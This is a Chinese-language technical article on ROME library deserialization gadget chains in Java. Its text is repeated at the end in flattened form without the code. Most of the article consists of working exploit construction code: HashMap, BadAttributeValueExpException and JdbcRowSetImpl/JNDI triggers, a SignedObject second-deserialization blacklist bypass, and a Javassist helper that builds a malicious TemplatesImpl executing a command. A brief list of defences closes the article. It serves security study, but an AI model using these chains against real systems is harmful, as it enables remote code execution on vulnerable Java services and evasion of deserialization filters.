ROME反序列化利用链
字数 1680 2025-08-23 18:31:17

ROME反序列化利用链深入分析与利用

前言

ROME是一个Java库,用于处理RSS和Atom feeds。在其实现中,存在一些可以被利用进行反序列化攻击的类,特别是ToStringBeanEqualsBean类。本文将详细分析这些利用链的原理和构造方法。

核心利用类分析

ToStringBean类

ToStringBean类是ROME库中的核心利用点:

  1. 构造函数:public ToStringBean(Class beanClass, Object obj),接收一个类和一个对象
  2. 无参toString()方法会调用有参toString(String)方法,传入参数为this._beanClass的类名
  3. 有参toString(String)方法会:
    • 获取this._beanClass的所有getter方法
    • 通过反射调用this._obj的getter方法

关键点:当this._objTemplatesImpl对象时,调用其getOutputProperties()方法会触发类加载导致代码执行。

EqualsBean类

EqualsBean类是另一个可利用的类:

  1. hashCode()方法会调用beanHashCode()方法
  2. beanHashCode()方法会调用this._obj.toString()方法
  3. this._obj由构造函数传入,可控

利用链构造

基于HashMap的利用链

这是最基础的利用方式,利用HashMap的readObject触发链:

// 构造恶意TemplatesImpl对象
TemplatesImpl template = (TemplatesImpl) util.getTeml();

// 构造ToStringBean
ToStringBean toStringBean = new ToStringBean(Templates.class, template);

// 构造EqualsBean
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

// 构造恶意HashMap
HashMap hashmap = new HashMap();
util.setFieldValue(hashmap,"size",2);

// 设置HashMap的table字段
Class nodeC = Class.forName("java.util.HashMap$Node");
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 1);
Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, 1, null));
util.setFieldValue(hashmap,"table",tbl);

调用链:

  1. HashMap.readObject()
  2. hash(key) -> key.hashCode()
  3. EqualsBean.hashCode() -> beanHashCode()
  4. this._obj.toString() (ToStringBean.toString())
  5. 反射调用TemplatesImpl.getOutputProperties()
  6. 触发恶意类加载执行代码

BadAttributeValueExpException利用链

这是另一种入口点,利用BadAttributeValueExpException在反序列化时调用toString()的特性:

TemplatesImpl template = (TemplatesImpl) util.getTeml();
ToStringBean toStringBean = new ToStringBean(Templates.class, template);

BadAttributeValueExpException b = new BadAttributeValueExpException(1);
util.setFieldValue(b,"val",toStringBean);

调用链:

  1. BadAttributeValueExpException.readObject()
  2. valObj.toString()
  3. ToStringBean.toString()
  4. 反射调用TemplatesImpl.getOutputProperties()
  5. 触发恶意类加载执行代码

JdbcRowSetImpl利用链

结合JNDI注入的利用方式:

JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName("ldap://恶意地址");

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, "1");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

HashMap hashmap = new HashMap();
hashmap.put(equalsBean,1);
util.setFieldValue(toStringBean,"_obj",j);

SignedObject二次反序列化绕过

当存在反序列化黑名单时,可以利用SignedObject进行二次反序列化绕过:

// 第一次构造
TemplatesImpl template = (TemplatesImpl) util.getTeml();
ToStringBean toStringBean = new ToStringBean(Templates.class, "template");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashmap = new HashMap();
hashmap.put(equalsBean, "1");
util.setFieldValue(toStringBean,"_obj",template);

// 封装为SignedObject
SignedObject s = makeSignedObject(hashmap);

// 二次反序列化构造
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, "s");
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
HashMap hashmap2 = new HashMap();
hashmap2.put(equalsBean2, "1");
util.setFieldValue(toStringBean2,"_obj",s);

不依赖ToStringBean的利用方式

通过EqualsBeanbeanEquals方法中的getter调用:

TemplatesImpl template = (TemplatesImpl) util.getTeml();
ToStringBean toStringBean = new ToStringBean(Templates.class, "template");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashmap = new HashMap();
hashmap.put(equalsBean, "1");
util.setFieldValue(toStringBean,"_obj",template);

SignedObject s = makeSignedObject(hashmap);
SignedObject s2 = makeSignedObject(null);

// 构造Hashtable利用链
EqualsBean equalsBean2 = new EqualsBean(String.class, "1");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",equalsBean2);
map1.put("zZ",s);
map2.put("zZ",equalsBean2);
map2.put("yy",s);

Hashtable t = new Hashtable<>();
t.put(map1,"1");
t.put(map2,"2");

util.setFieldValue(equalsBean2,"_beanClass",SignedObject.class);
util.setFieldValue(equalsBean2,"_obj",s2);

工具类util分析

关键的util类提供了以下功能:

  1. getTeml() - 动态构造恶意TemplatesImpl对象
  2. setFieldValue() - 通过反射设置对象字段值
  3. serialize() - 序列化对象
  4. unserialize() - 反序列化对象

其中getTeml()方法使用Javassist动态生成恶意类:

public static Object getTeml() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    CtClass cc = pool.makeClass("asdasdasasd");
    String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
    cc.makeClassInitializer().insertBefore(cmd);
    String randomClassName = "Evil" + System.nanoTime();
    cc.setName(randomClassName);
    cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    byte[] classBytes = cc.toBytecode();
    byte[][] targetByteCodes = new byte[][]{classBytes};
    
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    // 设置TemplatesImpl的必要字段
    // ...
    return templates;
}

防御建议

  1. 升级ROME库到最新版本
  2. 对反序列化操作进行严格限制
  3. 使用安全的反序列化工具,如使用白名单机制
  4. ObjectInputStream进行加固,过滤危险类

总结

ROME反序列化利用链主要通过ToStringBeanEqualsBean类的特性,结合Java反序列化机制中的各种触发点(如HashMap、BadAttributeValueExpException等)实现远程代码执行。理解这些利用链有助于更好地防御反序列化漏洞。

ROME反序列化利用链深入分析与利用 前言 ROME是一个Java库,用于处理RSS和Atom feeds。在其实现中,存在一些可以被利用进行反序列化攻击的类,特别是 ToStringBean 和 EqualsBean 类。本文将详细分析这些利用链的原理和构造方法。 核心利用类分析 ToStringBean类 ToStringBean 类是ROME库中的核心利用点: 构造函数: public ToStringBean(Class beanClass, Object obj) ,接收一个类和一个对象 无参 toString() 方法会调用有参 toString(String) 方法,传入参数为 this._beanClass 的类名 有参 toString(String) 方法会: 获取 this._beanClass 的所有getter方法 通过反射调用 this._obj 的getter方法 关键点:当 this._obj 是 TemplatesImpl 对象时,调用其 getOutputProperties() 方法会触发类加载导致代码执行。 EqualsBean类 EqualsBean 类是另一个可利用的类: hashCode() 方法会调用 beanHashCode() 方法 beanHashCode() 方法会调用 this._obj.toString() 方法 this._obj 由构造函数传入,可控 利用链构造 基于HashMap的利用链 这是最基础的利用方式,利用HashMap的 readObject 触发链: 调用链: HashMap.readObject() hash(key) -> key.hashCode() EqualsBean.hashCode() -> beanHashCode() this._obj.toString() ( ToStringBean.toString() ) 反射调用 TemplatesImpl.getOutputProperties() 触发恶意类加载执行代码 BadAttributeValueExpException利用链 这是另一种入口点,利用 BadAttributeValueExpException 在反序列化时调用 toString() 的特性: 调用链: BadAttributeValueExpException.readObject() valObj.toString() ToStringBean.toString() 反射调用 TemplatesImpl.getOutputProperties() 触发恶意类加载执行代码 JdbcRowSetImpl利用链 结合JNDI注入的利用方式: SignedObject二次反序列化绕过 当存在反序列化黑名单时,可以利用 SignedObject 进行二次反序列化绕过: 不依赖ToStringBean的利用方式 通过 EqualsBean 的 beanEquals 方法中的getter调用: 工具类util分析 关键的 util 类提供了以下功能: getTeml() - 动态构造恶意 TemplatesImpl 对象 setFieldValue() - 通过反射设置对象字段值 serialize() - 序列化对象 unserialize() - 反序列化对象 其中 getTeml() 方法使用Javassist动态生成恶意类: 防御建议 升级ROME库到最新版本 对反序列化操作进行严格限制 使用安全的反序列化工具,如使用白名单机制 对 ObjectInputStream 进行加固,过滤危险类 总结 ROME反序列化利用链主要通过 ToStringBean 和 EqualsBean 类的特性,结合Java反序列化机制中的各种触发点(如HashMap、BadAttributeValueExpException等)实现远程代码执行。理解这些利用链有助于更好地防御反序列化漏洞。